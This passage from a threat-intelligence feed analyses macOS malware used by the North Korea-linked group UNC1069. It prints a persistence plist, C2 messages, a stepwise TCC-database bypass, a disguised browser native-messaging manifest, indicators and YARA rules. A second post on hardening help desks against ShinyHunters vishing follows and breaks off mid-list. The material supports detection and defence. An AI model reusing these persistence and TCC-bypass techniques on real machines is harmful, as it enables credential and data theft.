    Mandiant also identified HYPERCALL deployed an additional malware loader, tracked as part of the code family SUGARLOADER. A persistence mechanism was installed in the form of a launch daemon for SUGARLOADER, which configured the system to execute the malware during the macOS startup process. The launch daemon was configured through a property list (Plist) file, /Library/LaunchDaemons/com.apple.system.updater.plist. The contents of the launch daemon Plist file are provided in Figure 4.

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    	<key>Label</key>
    	<string>com.apple.system.updater</string>
    	<key>ProgramArguments</key>
    	<array>
    	<string>/Library/OSRecovery/SystemUpdater</string>
    	</array>
    	<key>RunAtLoad</key>
     	<true/>
    	<key>KeepAlive</key>
    	<false/>
    	<key>ExitTimeOut</key>
    	<integer>10</integer>
    </dict>
    </plist>

    Figure 4: Launch daemon Plist configured to execute SUGARLOADER

    The SUGARLOADER sample recovered during the investigation did not have any internal functionality for establishing persistence; therefore, Mandiant assesses the launch daemon was created manually via access granted by one of the other malicious programs.

    Mandiant observed SUGARLOADER was solely used to deploy CHROMEPUSH, a data miner written in C++. CHROMEPUSH deployed a browser extension to Google Chrome and Brave browsers that masqueraded as an extension purposed for editing Google Docs offline. CHROMEPUSH additionally possessed the capability to record keystrokes, observe username and password inputs, and extract browser cookies, completing the data harvesting on the host.

    In the Spotlight: UNC1069

    UNC1069 is a financially motivated threat actor that is suspected with high confidence to have a North Korea nexus and that has been tracked by Mandiant since 2018. Mandiant has observed this threat actor evolve its tactics, techniques, and procedures (TTPs), tooling, and targeting. Since at least 2023, the group has shifted from spear-phishing techniques and traditional finance (TradFi) targeting towards the Web3 industry, such as centralized exchanges (CEX), software developers at financial institutions, high-technology companies, and individuals at venture capital funds. Notably, while UNC1069 has had a smaller impact on cryptocurrency heists compared to other groups like UNC4899 in 2025, it remains an active threat targeting centralized exchanges and both entities and individuals for financial gain.

    UNC1069 victimology map

    Figure 5: UNC1069 victimology map

    Mandiant has observed this group active in 2025 targeting the financial services and the cryptocurrency industry in payments, brokerage, staking, and wallet infrastructure verticals. 

    While UNC1069 operators have targeted both individuals in the Web3 space and corporate networks in these verticals, UNC1069 and other suspected Democratic People's Republic of Korea (DPRK)-nexus groups have demonstrated the capability to move from personal to corporate devices using different techniques in the past. However, for this particular incident, Mandiant noted an unusually large amount of tooling dropped onto a single host targeting a single individual. This evidence confirms this incident was a targeted attack to harvest as much data as possible for a dual purpose; enabling cryptocurrency theft and fueling future social engineering campaigns by leveraging victim’s identity and data.

    Subsequently, Mandiant identified seven distinct malware families during the forensic analysis of the compromised system, with SUGARLOADER being the only malware family already tracked by Mandiant prior to the investigation.

    Technical Appendix

    WAVESHAPER

    WAVESHAPER is a backdoor written in C++ and packed by an unknown packer that targets macOS. The backdoor supports downloading and executing arbitrary payloads retrieved from its command-and-control (C2 or C&C) server, which is provided via the command-line parameters. To communicate with the adversary infrastructure, WAVESHAPER leverages the curl library for either HTTP or HTTPS, depending on the command-line argument provided.

    WAVESHAPER also runs as a daemon by forking itself into a child process that runs in the background detached from the parent session and collects the following system information, which is sent to the C&C server in a HTTP POST request:

    • Random victim UID (16 alphanumeric chars)

    • Victim username

    • Victim machine name

    • System time zone

    • System boot time using sysctlbyname("kern.boottime")

    • Recently installed software

    • Hardware model

    • CPU information

    • OS version

    • List of the running processes

    Payloads downloaded from the C&C server are saved to a file system location matching the following regular expression pattern: /tmp/\.[A-Za-z0-9]{6}.

    HYPERCALL

    HYPERCALL is a Go-based downloader designed for macOS that retrieves malicious dynamic libraries from a designated C&C server. The C&C address is extracted from an RC4-encrypted configuration file that must be present on the disk alongside the binary. Once downloaded, the library is reflectively loaded for in-memory execution.

    Mandiant observed recognizable influences from SUGARLOADER in HYPERCALL, despite the new downloader being written in a different language (Golang instead of C++) and having a different development process. These similarities include the use of an external configuration file for the C&C infrastructure, the use of the RC4 algorithm for configuration file decryption, and the capability for reflective library injection.

    Notably, some elements in HYPERCALL appear to be incomplete. For instance, the presence of configuration parameters that are of no use reveals a lack of technical proficiency by some of UNC1069's malware developers compared to other North Korea-nexus threat actors.

    HYPERCALL accepts a single command-line argument to which it expects a C&C host to connect. This command is then saved to the configuration file located at /Library/SystemSettings/.CacheLogs.db. HYPERCALL also leverages a hard-coded 16-byte RC4 key to decrypt the data stored within the configuration file, a pattern observed within other UNC1069 malware families. 

    The HYPERCALL configuration instructed the downloader to communicate with the following C&C servers on TCP port 443:

    • wss://supportzm[.]com
    • wss://zmsupport[.]com

    Once connected, the HYPERCALL registers with the C&C using the following message expecting a response message of 1:

    {
        "type": "loader",
        "client_id": <client_id>
    }

    Figure 6: Registration message sent to the C&C server

    Once the HYPERCALL has registered with the C&C server, it sends a dynamic library download request:

    {
        "type": "get_binary",
        "system": "darwin"
    }

    Figure 7: Dynamic library download request message sent to the C&C server

    The C&C server responds to the request with information on the dynamic library to download, followed by the dynamic library content:

    {
        "type": <unknown>,
        "total_size": <total_size>
    }

    Figure 8: Dynamic library download response message received by the C&C server

    The C&C server informs the HYPERCALL client all of the dynamic library content has been sent via the following message:

    {
        "type": "end_chunks"
    }

    Figure 9: Message sent by the C&C server to mark the end of the dynamic library content

    After receiving the dynamic library, HYPERCALL sends a final acknowledgement message:

    {
        "type": "down_ok"
    }

    Figure 10: Final acknowledgement message sent by HYPERCALL to the C&C server

    HYPERCALL then waits for three seconds before executing the downloaded dynamic library in-memory using reflective loading.

    HIDDENCALL

    We assess with high confidence that UNC1069 utilizes the HYPERCALL downloader and HIDDENCALL backdoor as components of a single, synchronized attack lifecycle. 

    This assessment is supported by forensic observations of HYPERCALL downloading and reflectively injecting HIDDENCALL into system memory. Furthermore, technical examination revealed significant code overlaps between the HYPERCALL Golang binary and HIDDENCALL's Ahead-of-Time (AOT) translation files. Both families utilize identical libraries and follow a distinct "t_" naming convention for functions (such as t_loader and t_), strongly suggesting a unified development environment and shared tradecraft. The use of this custom, integrated tooling suite highlights UNC1069's technical proficiency in developing specialized capabilities to bypass security measures and secure long-term persistence in target networks.

    Rosetta Cache Analysis

    Mandiant has previously documented how files from the Rosetta cache can be used to prove program execution, as well as how malware identification can be possible through analysis of the symbols present in the AOT translation files.

    HYPERCALL leveraged the NSCreateObjectFileImageFromMemory API call to reflectively load a follow-on backdoor component from memory. When NSCreateObjectFileImageFromMemory is called, the executable file that is to be loaded from memory is temporarily written to disk under the /tmp/ folder, with the filename matching the regular expression pattern NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8}

    This intrinsic behaviour, combined with the HIDDENCALL payload being compiled for x86_64 architecture, resulted in the creation of a Rosetta cache AOT file for the reflectively loaded Mach-O executable. Through analysis of the Rosetta cache file, Mandiant was able to assess with high confidence that the reflectively loaded Mach-O executable was the follow-on backdoor component, also written in Golang, that Mandiant tracks as HIDDENCALL. 

    Listed in Figure 11 through Figure 14 are the symbols and project file paths identified from the AOT file associated with HIDDENCALL execution, as well as the HYPERCALL sample analysed by Mandiant, which were used to assess the functionality of HIDDENCALL.

    _t/common.rc4_encode
    _t/common.resolve_server
    _t/common.load_config
    _t/common.save_config
    _t/common.generate_uid
    _t/common.send_data
    _t/common.send_error_message
    _t/common.get_local_ip
    _t/common.get_info
    _t/common.rsp_get_info
    _t/common.override_env
    _t/common.exec_command_with_timeout
    _t/common.exec_command_with_timeout.func1
    _t/common.rsp_exec_cmd
    _t/common.send_file
    _t/common.send_file.deferwrap1
    _t/common.add_file_to_zip
    _t/common.add_file_to_zip.deferwrap1
    _t/common.zip_file
    _t/common.zip_file.func1
    _t/common.zip_file.deferwrap2
    _t/common.zip_file.deferwrap1
    _t/common.rsp_zdn
    _t/common.rsp_dn
    _t/common.receive_file
    _t/common.receive_file.deferwrap1
    _t/common.unzipFile
    _t/common.unzipFile.deferwrap1
    _t/common.rsp_up
    _t/common.rsp_inject_explorer
    _t/common.rsp_inject
    _t/common.wipe_file
    _t/common.rsp_wipe_file
    _t/common.send_cmd_result
    _t/common.rsp_new_shell
    _t/common.rsp_exit_shell
    _t/common.rsp_enter_shell
    _t/common.rsp_leave_shell
    _t/common.rsp_run
    _t/common.rsp_runx
    _t/common.rsp_test_conn
    _t/common.rsp_check_event
    _t/common.rsp_sleep
    _t/common.rsp_pv
    _t/common.rsp_pcmd
    _t/common.rsp_pkill
    _t/common.rsp_dir
    _t/common.rsp_state
    _t/common.rsp_get_cfg
    _t/common.rsp_set_cfg
    _t/common.rsp_chdir
    _t/common.get_file_property
    _t/common.get_file_property.func1
    _t/common.rsp_file_property
    _t/common.do_work
    _t/common.do_work.deferwrap1
    _t/common.Start
    _t/common.init_env
    _t/common.get_config_path
    _t/common.get_startup_path
    _t/common.get_launch_plist_path
    _t/common.get_os_info
    _t/common.get_process_uid
    _t/common.get_file_info
    _t/common.get_dir_entries
    _t/common.is_locked
    _t/common.check_event
    _t/common.change_dir
    _t/common.run_command_line
    _t/common.run_command_line.func1
    _t/common.copy_file
    _t/common.copy_file.deferwrap2
    _t/common.copy_file.deferwrap1
    _t/common.setup_startup
    _t/common.file_exist
    _t/common.session_work
    _t/common.exit_shell
    _t/common.restart_shell
    _t/common.start_shell_reader
    _t/common.watch_shell_output_loop
    _t/common.watch_shell_output_loop.func1
    _t/common.watch_shell_output_loop.func1.deferwrap1
    _t/common.exec_with_shell
    _t/common.start_shell_reader.func1
    _t/common.do_work.jump513
    _t/common.g_shoud_fork
    _t/common.CONFIG_CRYPT_KEY
    _t/common.g_conn
    _t/common.g_shell_cmd
    _t/common.g_shell_pty
    _t/common.stop_reader_chan
    _t/common.stop_watcher_chan
    _t/common.g_config_file_path
    _t/common.g_output_buffer
    _t/common.g_cfg
    _t/common.g_use_shell
    _t/common.g_working
    _t/common.g_out_changed
    _t/common.g_reason
    _t/common.g_outputMutex

    Figure 11: Notable Golang symbols from the HIDDENCALL AOT file analyzed by Mandiant

    t_loader/common
    t_loader/inject_mac
    t_loader/inject_mac._Cfunc_InjectDylibFromMemory
    t_loader/inject_mac.Inject
    t_loader/inject_mac.Inject.func1
    t_loader/common.rc4_encode
    t_loader/common.generate_uid
    t_loader/common.load_config
    t_loader/common.rc4_decode
    t_loader/common.save_config
    t_loader/common.resolve_server
    t_loader/common.receive_file
    t_loader/common.Start
    t_loader/common.check_server_urls
    t_loader/common.inject_pe
    t_loader/common.init_env
    t_loader/common.get_config_path

    Figure 12: Notable Golang symbols from the HYPERCALL AOT file analyzed by Mandiant

    /Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)

    Figure 13: Project file paths from the HIDDENCALL AOT file analyzed by Mandiant

    /Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
    /Users/mac/Documents/go_t/t_loader/common/common.go
    /Users/mac/Documents/go_t/t_loader/common/common_unix.go
    /Users/mac/Documents/go_t/t_loader/exe.go

    Figure 14: Project file paths from the HYPERCALL AOT file analyzed by Mandiant

    DEEPBREATH

    A new piece of macOS malware identified during the intrusion was DEEPBREATH, a sophisticated data miner designed to bypass a key component of macOS privacy: the Transparency, Consent, and Control (TCC) database. 

    Written in Swift, DEEPBREATH's primary purpose is to gain access to files and sensitive personal information.

    TCC Bypass

    Instead of prompting the user for elevated permissions, DEEPBREATH directly manipulates the user's TCC database (TCC.db). It executes a series of steps to circumvent protections that prevent direct modification of the live database:

    1. Staging: It leverages the Finder application to rename the user's TCC folder and copies the TCC.db file to a temporary staging location, which allows it to modify the database unchallenged. 

    2. Permission Injection: Once staged, the malware programmatically inserts permissions, effectively granting itself broad access to critical user folders like Desktop, Documents, and Downloads.

    3. Restoration: Finally, it restores the modified database back to its original location, giving DEEPBREATH the broad file system access it needs to operate.

    It should be noted that this technique is possible due to the Finder application possessing Full Disk Access (FDA) permissions, which are the permissions necessary to modify the user-specific TCC database in macOS. 

    To ensure its operation remains uninterrupted, the malware uses an AppleScript to re-launch itself in the background using the -autodata argument, detaching from the initial process to continue data collection silently throughout the user's session.

    With elevated access, DEEPBREATH systematically targets high-value data:

    • Credentials: Steals login credentials from the user keychain (login.keychain-db)

    • Browser Data: Copies cookies, login data, and local extension settings from major browsers including Google Chrome, Brave, and Microsoft Edge across all user profiles

    • Messaging and Notes: Exfiltrates user data from two different versions of Telegram and also targets and copies database files from Apple Notes

    DEEPBREATH is a prime example of an attack vector focused on bypassing core operating system security features to conduct widespread data theft.

    SUGARLOADER

    SUGARLOADER is a downloader written in C++ historically associated with UNC1069 intrusions.

    Based on the observations from this intrusion, SUGARLOADER was solely used to deploy CHROMEPUSH. If SUGARLOADER is run without any command arguments, the binary checks for an existing configuration file located on the victim's computer at /Library/OSRecovery/com.apple.os.config

    The configuration is encrypted using RC4, with a hard-coded 32-byte key found in the binary. 

    Once decrypted, the configuration data contains up to two URLs that point to the next stage. The URLs are queried to download the next stage of the infection; if the first URL responds with a suitable executable payload, then the second URL is not queried. 

    The decrypted SUGARLOADER configuration for the sample analysed by Mandiant included the following C&C servers:

    • breakdream[.]com:443
    • dreamdie[.]com:443

    CHROMEPUSH

    During this intrusion, a second dataminer was recovered and named CHROMEPUSH. This data miner is written in C++ and installs itself as a browser extension targeting Chromium-based browsers, such as Google Chrome and Brave, to collect keystrokes, username and password inputs, and browser cookies, which it uploads to a web server.

    CHROMEPUSH establishes persistence by installing itself as a native messaging host for Chromium-based browsers. For Google Chrome, CHROMEPUSH copies itself to %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs and creates a corresponding manifest file, com.google.docs.offline.json, in the same directory.

    {
      "name": "com.google.docs.offline",
      "description": "Native messaging for Google Docs Offline extension",
      "path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
      "type": "stdio",
      "allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
    }

    Figure 15: Manifest file for Google Chrome native messaging host established by the data miner

    By installing itself as a native messaging host, CHROMEPUSH will be automatically executed when the corresponding browser is executed. 

    Once executed via the native messaging host mechanism, the data miner creates a base data directory at %HOME%/Library/Application Support/com.apple.os.receipts and performs browser identification. A subdirectory within the base data directory is created with the corresponding identifier, which is based on the detected browser:

    • Google Chrome leads to the subdirectory being named "c".

    • Brave Browser leads to the subdirectory being named "b".

    • Arc leads to the subdirectory being named "a".

    • Microsoft Edge leads to the subdirectory being named "e".

    • If none of these match, the subdirectory name is set to "u".

    CHROMEPUSH reads configuration data from the file location %HOME%/Library/Application Support/com.apple.os.receipts/setting.db. The configuration settings are parsed in JavaScript Objection Notation (JSON) format. The names of the used JSON variables indicate their potential usage:

    • cap_on: Assumed to control whether screen captures should be taken

    • cap_time: Assumed to control the interval of screen captures

    • coo_on: Assumed to control whether cookies should be accessed

    • coo_time: Assumed to control the interval of accessing the cookie data

    • key_on: Assumed to control whether keypresses should be logged

    • C&C URL

    CHROMEPUSH stages collected data in temporary files within the %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ directory.

    These files are then renamed using the following formats:

    • Screenshots: CAYYMMDDhhmmss.dat

    • Keylogging: KLYYMMDDhhmmss.dat

    • Cookies: CK_<browser_identifier><unknown_id>.dat

    CHROMEPUSH stages and sends the collected data in HTTP POST requests to its C&C server. In the sample analysed by Mandiant, the C&C server was identified as hxxp://cmailer[.]pro:80/upload

    SILENCELIFT

    SILENCELIFT is a minimalistic backdoor written in C/C++ that beacons host information to a hard-coded C&C server. The C&C server identified in this sample was identified as support-zoom[.]us.

    SILENCELIFT retrieves a unique ID from the hard-coded file path /Library/Caches/.Logs.db. Notably, this is the exact same path used by the CHROMEPUSH. The backdoor also gets the lock screen status, which is sent to the C&C server with the unique ID. 

    If executed with root privileges, SILENCELIFT can actively interrupt Telegram communications while beaconing to its C&C server.

    Indicators of Compromise

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

    Network-Based Indicators

    Indicator

    Description

    mylingocoin.com

    Hosted the payload that was retrieved and executed to commence the initial infection

    zoom.uswe05.us

    Hosted the fake Zoom meeting

    breakdream.com

    SUGARLOADER C&C 

    dreamdie.com

    SUGARLOADER C&C 

    support-zoom.us

    SILENCELIFT C&C

    supportzm.com

    HYPERCALL C&C

    zmsupport.com

    HYPERCALL C&C

    cmailer.pro

    CHROMEPUSH upload server 

    Host-Based Indicators

    Description

    SHA-256 Hash

    File Name

    DEEPBREATH

    b452C2da7c012eda25a1403b3313444b5eb7C2c3e25eee489f1bd256f8434735

    /Library/Caches/System Settings

    SUGARLOADER

    1a30d6cdb0b98feed62563be8050db55ae0156ed437701d36a7b46aabf086ede

    /Library/OSRecovery/SystemUpdater

    WAVESHAPER

    b525837273dde06b86b5f93f9aeC2C29665324105b0b66f6df81884754f8080d

    /Library/Caches/com.apple.mond

    HYPERCALL

    c8f7608d4e19f6cb03680941bbd09fe969668bcb09c7ca985048a22e014dffcd

    /Library/SystemSettings/com.apple.system.settings

    CHROMEPUSH

    603848f37ab932dccef98ee27e3c5af9221d3b6ccfe457ccf93cb572495ac325

    /Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Brave Browser Docs

    /Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs

    /Library/Caches/chromeext

    SILENCELIFT

    c3e5d878a30a6c46e22d1dd2089b32086c91f13f8b9c413aa84e1dbaa03b9375

    /Library/Fonts/com.apple.logd

    HYPERCALL configuration (executes itself with sudo)

    03f00a143b8929585c122d490b6a3895d639c17d92C2223917e3a9ca1b8d30f9

    /Library/SystemSettings/.CacheLogs.db

    YARA Rules

    rule G_Backdoor_WAVESHAPER_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-11-03"
    		date_modified = "2025-11-03"
    		md5 = "c91725905b273e81e9cc6983a11c8d60"
    		rev = 1
    	strings:
    		$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
    		$str2 = "/tmp/.%s"
    		$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
    		$str4 = "sysctl -n hw.model"
    		$str5 = "sysctl -n machdep.cpu.brand_string"
    		$str6 = "sw_vers --ProductVersion"
    	condition:
    		all of them
    }
    rule G_Backdoor_WAVESHAPER_2 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-11-03"
    		date_modified = "2025-11-03"
    		md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
    		rev = 1
    	strings:
    		$str1 = "__Z10RunCommand"
    		$str2 = "__Z11GenerateUID"
    		$str3 = "__Z11GetResponse"
    		$str4 = "__Z13WriteCallback"
    		$str5 = "__Z14ProcessRequest"
    		$str6 = "__Z14SaveAndExecute"
    		$str7 = "__Z16MakeStatusString"
    		$str8 = "__Z24GetCurrentExecutablePath"
    		$str9 = "__Z7Execute"
    	condition:
    		all of them
    }
    rule G_Downloader_HYPERCALL_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-10-24"
    		date_modified = "2025-10-24"
    		rev = 1
    	strings:
    		$go_build = "Go build ID:"
    		$go_inf = "Go buildinf:"
    		$lib1 = "/inject_mac/inject.go"
    		$lib2 = "github.com/gorilla/websocket"
    		$func1 = "t_loader/inject_mac.Inject"
    		$func2 = "t_loader/common.rc4_decode"
    		$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
    		$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
    	condition:
    		(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
    }
    rule G_Backdoor_SILENCELIFT_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
    		date_created = "2025/10/23"
    		date_modified = "2025/10/28"
    		rev = 2
    	strings:
    		$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
    		$ss2 = "pkill -CONT -f" ascii fullword
    		$ss3 = "pkill -STOP -f" ascii fullword
    		$ss4 = "/Library/Caches/.Logs.db" ascii fullword
    		$ss5 = "/Library/Caches/.evt_"
    		$ss6 = "{\"bot_id\":\""
    		$ss7 = "\", \"status\":"
    		$ss8 = "/Library/Fonts/.analyzed" ascii fullword
    	condition:
    		all of them
    }
    rule G_APTFIN_Downloader_SUGARLOADER_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		md5 = "3712793d3847dd0962361aa528fa124c"
    		date_created = "2025/10/15"
    		date_modified = "2025/10/15"
    		rev = 1
    	strings:
    		$ss1 = "/Library/OSRecovery/com.apple.os.config"
    		$ss2 = "/Library/Group Containers/OSRecovery"
    		$ss4 = "_wolfssl_make_rng"
    	condition:
    		all of them
    }
    rule G_APTFIN_Downloader_SUGARLOADER_2 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$m1 = "__mod_init_func\x00lko2\x00"
    		$m2 = "__mod_term_func\x00lko2\x00"
    		$m3 = "/usr/lib/libcurl.4.dylib"
    	condition:
    		(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
    }
    rule G_Datamine_DEEPBREATH_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$sa1 = "-fakedel"
    		$sa2 = "-autodat"
    		$sa3 = "-datadel"
    		$sa4 = "-extdata"
    		$sa5 = "TccClickJack"
    		$sb1 = "com.apple.TCC\" as alias"
    		$sb2 = "/TCC.db\" as alias"
    		$sc1 = "/group.com.apple.notes\") as alias"
    		$sc2 = ".keepcoder.Telegram\")"
    		$sc3 = "Support/Google/Chrome/\")"
    		$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
    		$sc5 = "Support/Microsoft Edge/\")"
    		$sc6 = "& \"/Local Extension Settings\""
    		$sc7 = "& \"/Cookies\""
    		$sc8 = "& \"/Login Data\""
    		$sd1 = "\"cp -rf \" & quoted form of "
    	condition:
    		(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
    }
    rule G_Datamine_CHROMEPUSH_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-11-06"
    		date_modified = "2025-11-06"
    		rev = 1
    	strings:
    		$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
    		$s2 = "%s/tmpCA.dat"
    		$s3 = "mouseStates"
    		$s4 = "touch /Library/Caches/.evt_"
    		$s5 = "cp -f"
    		$s6 = "rm -rf"
    		$s7 = "keylogs"
    		$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
    		$s9 = "%s/tmpKL.dat"
    		$s10 = "OK: Create data.js success"
    	condition:
    		(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
    }

    Google Security Operations (SecOps)

    Google SecOps customers have access to these broad category rules and more under the “Mandiant Intel Emerging Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Application Support com.apple Suspicious Filewrites

    • Chrome Native Messaging Directory

    • Chrome Service Worker Directory Deletion

    • Database Staging in Library Caches

    • macOS Chrome Extension Modification

    • macOS Notes Database Harvesting

    • macOS TCC Database Manipulation

    • Suspicious Access To macOS Web Browser Credentials

    • Suspicious Audio Hardware Fingerprinting

    • Suspicious Keychain Interaction

    • Suspicious Library Font Directory File Write

    • Suspicious Multi-Stage Payload Loader

    • Suspicious Permissions on macOS System File

    • Suspicious SoftwareUpdate Masquerading

    • Suspicious TCC Database Modification

    • Suspicious Web Downloader Pipe to ZSH

    • Telegram Session Data Staging

    Received — 1 February 2026 Threat Intelligence

    Guidance from the Frontlines: Proactive Defense Against ShinyHunters-Branded Data Theft Targeting SaaS

    30 January 2026 at 15:00

    Introduction

    Mandiant is tracking a significant expansion and escalation in the operations of threat clusters associated with ShinyHunters-branded extortion. As detailed in our companion report, 'Vishing for Access: Tracking the Expansion of ShinyHunters-Branded SaaS Data Theft', these campaigns leverage evolved voice phishing (vishing) and victim-branded credential harvesting to successfully compromise single sign-on (SSO) credentials and enroll unauthorized devices into victim multi-factor authentication (MFA) solutions.

    This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of social engineering to bypass identity controls and pivot into cloud-based software-as-a-service (SaaS) environments.

    This post provides actionable hardening, logging, and detection recommendations to help organizations protect against these threats. Organizations responding to an active incident should focus on rapid containment steps, such as severing access to infrastructure environments, SaaS platforms, and the specific identity stores typically used for lateral movement and persistence. Long-term defense requires a transition toward phishing-resistant MFA, such as FIDO2 security keys or passkeys, which are more resistant to social engineering than push-based or SMS authentication.

    Containment

    Organizations responding to an active or suspected intrusion by these threat clusters should prioritize rapid containment to sever the attacker’s access to prevent further data exfiltration. Because these campaigns rely on valid credentials rather than malware, containment must prioritize the revocation of session tokens and the restriction of identity and access management operations.

    Immediate Containment Actions

    • Revoke active sessions: Identify and disable known compromised accounts and revoke all active session tokens and OAuth authorizations across IdP and SaaS platforms.

    • Restrict password resets: Temporarily disable or heavily restrict public-facing self-service password reset portals to prevent further credential manipulation.  Do not allow the use of self-service password reset for administrative accounts.

    • Pause MFA registration: Temporarily disable the ability for users to register, enroll, or join new devices to the identity provider (IdP).

    • Limit remote access: Restrict or temporarily disable remote access ingress points, such as VPNs, or Virtual Desktops Infrastructure (VDI), especially from untrusted or non-compliant devices.

    • Enforce device compliance: Restrict access to IdPs and SaaS applications so that authentication can only originate from organization-managed, compliant devices and known trusted egress locations.

    • Implement 'shields up' procedures: Inform the service desk of heightened risk and shift to manual, high-assurance verification protocols for all account-related requests. In addition, remind technology operations staff not to accept any work direction via SMS messages from colleagues.

    During periods of heightened threat activity, Mandiant recommends that organizations temporarily route all password and MFA resets through a rigorous manual identity verification protocol, such as the live video verification described in the Hardening section of this post. When appropriate, organizations should also communicate with end-users, HR partners, and other business units to stay on high-alert during the initial containment phase. Always report suspicious activity to internal IT and Security for further investigation.

    1. Hardening 

    Defending against threat clusters associated with ShinyHunters-branded extortion begins with tightening manual, high-risk processes that attackers frequently exploit, particularly password resets, device enrollments, and MFA changes.

    Help Desk Verification

    Because these campaigns often target human-driven workflows through social engineering, vishing, and phishing, organizations should implement stronger, layered identity verification processes for support interactions, especially for requests involving account changes such as password resets or MFA modifications. Threat actors have also been known to impersonate third-party vendors to voice phish (vish) help desks and persuade staff to approve or install malicious SaaS application registrations.

    As a temporary measure during heightened risk, organizations should require verification that includes the caller’s identity, a valid ID, and a visual confirmation that the caller and ID match. 

    To implement this, organizations should require help desk personnel to:

    • Require a live video call where the user holds a physical government ID next to their face. The agent must visually verify the match.

    • Confirm the name on the ID matches the employee’s corporate record.

    • Require out-of-band approval from the user's known manager before processing the reset.

    • Reject requests based solely on employee ID, SSN, or manager name. ShinyHunters possess this data from previous breaches and may use it to verify their identity.

    • If the user calls the helpdesk for a password reset, never perform the reset without calling the user back at a known good phone number to prevent spoofing.

    • If a live video call is not possible, require an alternative high-assurance path. It may be required for the user to come in person to verify their identity.

    • Optionally, after a completed interaction, the help desk agent can send an email to the user’s manager indicating that the change is complete with a picture from the video call of the user who requested the change on camera.

    Special Handling for Third-Party Vendor Requests

    Mandiant has observed incidents where attackers impersonate support personnel from third-party vendors to gain access. In these situations, the standard verification principals may not be applicable.

    Under no circumstances should the Help Desk move forward with allowing access. The agent must halt the request and follow this procedure:

    • End the inbound call without providing any access or information

    • Independently contact the company's designated account manager for that vendor using trusted, on-file contact information

    • Require explicit verification from the account manager before proceeding with any request

    End User Education

    Organizations should educate end users on best practices especially when being reached out directly without prior notice.

    • Conduct internal Vishing and Phishing exercises to validate end user adoption of security best practices.

    • Educate that passwords should not be shared, regardless of who is asking for it.

    • Encourage users to exercise extreme caution when being requested to reset their own passwords and MFA; especially during off-business hours.

    • If they are unsure of the person or number they are being contacted by, have them cease all communications and contact a known support channel for guidance.

    Identity & Access Management

    Organizations should implement a layered series of controls to protect all types of identities. Access to cloud identity providers (IdPs), cloud consoles, SaaS applications, document and code repositories should be restricted since these platforms often become the control plane for privilege escalation, data access, and long-term persistence.

    This can be achieved by:

    • Limiting access to trusted egress points and physical locations
    • Review and understand what “local accounts” exist within SaaS platforms:
